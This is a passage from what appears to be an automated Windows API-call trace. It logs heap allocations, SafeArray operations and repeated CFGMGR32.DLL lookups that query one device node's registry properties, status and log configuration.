[0194.829] malloc (_Size=0x18) returned 0x196ef0d20c0 [0194.830] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0194.830] free (_Block=0x196ef0d20c0) [0194.830] malloc (_Size=0x18) returned 0x196ef0d1e60 [0194.830] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0194.830] free (_Block=0x196ef0d1e60) [0194.830] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0194.830] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0194.830] SafeArrayGetLBound (in: psa=0x196ee7bf360, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0194.830] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0194.830] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b63e0 [0194.830] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0194.830] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0194.830] SafeArrayGetElemsize (psa=0x196ee7bf360) returned 0x8 [0194.830] SafeArrayGetElement (in: psa=0x196ee7bf360, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0194.831] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee50, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.831] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee58, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.831] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee60, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.831] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee68, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.832] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee70, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.832] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee78, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.832] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee80, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0194.833] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b63e0) returned 1 [0194.833] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0194.833] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.833] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.834] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.835] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.836] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.837] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0194.837] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.840] malloc (_Size=0x48) returned 0x196ef0fc030 [0194.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54fdfa3b, dwHighDateTime=0x1d9eb0c)) [0194.840] SetEvent (hEvent=0x248) returned 1 [0194.843] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.843] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.847] malloc (_Size=0x18) returned 0x196ef0d1a80 [0194.847] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.847] malloc (_Size=0x48) returned 0x196ef0fb950 [0194.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x54fdfa3b, dwHighDateTime=0x1d9eb0c)) [0194.847] SetEvent (hEvent=0x248) returned 1 [0194.851] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.851] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.854] malloc (_Size=0x18) returned 0x196ef0d1f00 [0194.855] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.855] malloc (_Size=0x48) returned 0x196ef0fba40 [0194.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55005e9a, dwHighDateTime=0x1d9eb0c)) [0194.855] SetEvent (hEvent=0x248) returned 1 [0194.858] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.858] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0194.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0194.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0194.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0194.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0194.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0194.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0194.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0194.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0194.862] malloc (_Size=0x18) returned 0x196ef0d1d20 [0194.862] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0194.862] malloc (_Size=0x48) returned 0x196ef0fbc20 [0194.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x55005e9a, dwHighDateTime=0x1d9eb0c)) [0194.863] SetEvent (hEvent=0x248) returned 1 [0194.868] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0194.868] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0194.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0194.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0194.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0194.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0194.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0194.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0194.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0194.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0194.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0194.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0194.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0194.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0194.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.013] malloc (_Size=0x18) returned 0x196ef0d1e60 [0195.013] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0195.017] malloc (_Size=0x48) returned 0x196ef0fb270 [0195.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x551834c0, dwHighDateTime=0x1d9eb0c)) [0195.017] SetEvent (hEvent=0x248) returned 1 [0195.022] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.022] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.026] malloc (_Size=0x18) returned 0x196ef0d1b40 [0195.026] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2c, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0195.027] malloc (_Size=0x48) returned 0x196ef0fb540 [0195.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x551a9911, dwHighDateTime=0x1d9eb0c)) [0195.027] SetEvent (hEvent=0x248) returned 1 [0195.032] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.032] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.034] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.035] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0195.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0195.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0195.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0195.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0195.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0195.036] malloc (_Size=0x18) returned 0x196ef0d1e20 [0195.037] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2c, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0195.037] malloc (_Size=0x48) returned 0x196ef0fb220 [0195.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x551a9911, dwHighDateTime=0x1d9eb0c)) [0195.037] SetEvent (hEvent=0x248) returned 1 [0195.041] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0195.041] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0195.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0195.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0195.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0195.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0195.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0195.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0195.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0195.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0195.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0195.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0195.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0195.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0195.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0195.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0195.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0195.043] GetProcAddress (hModule=0x7ffa786c0000, 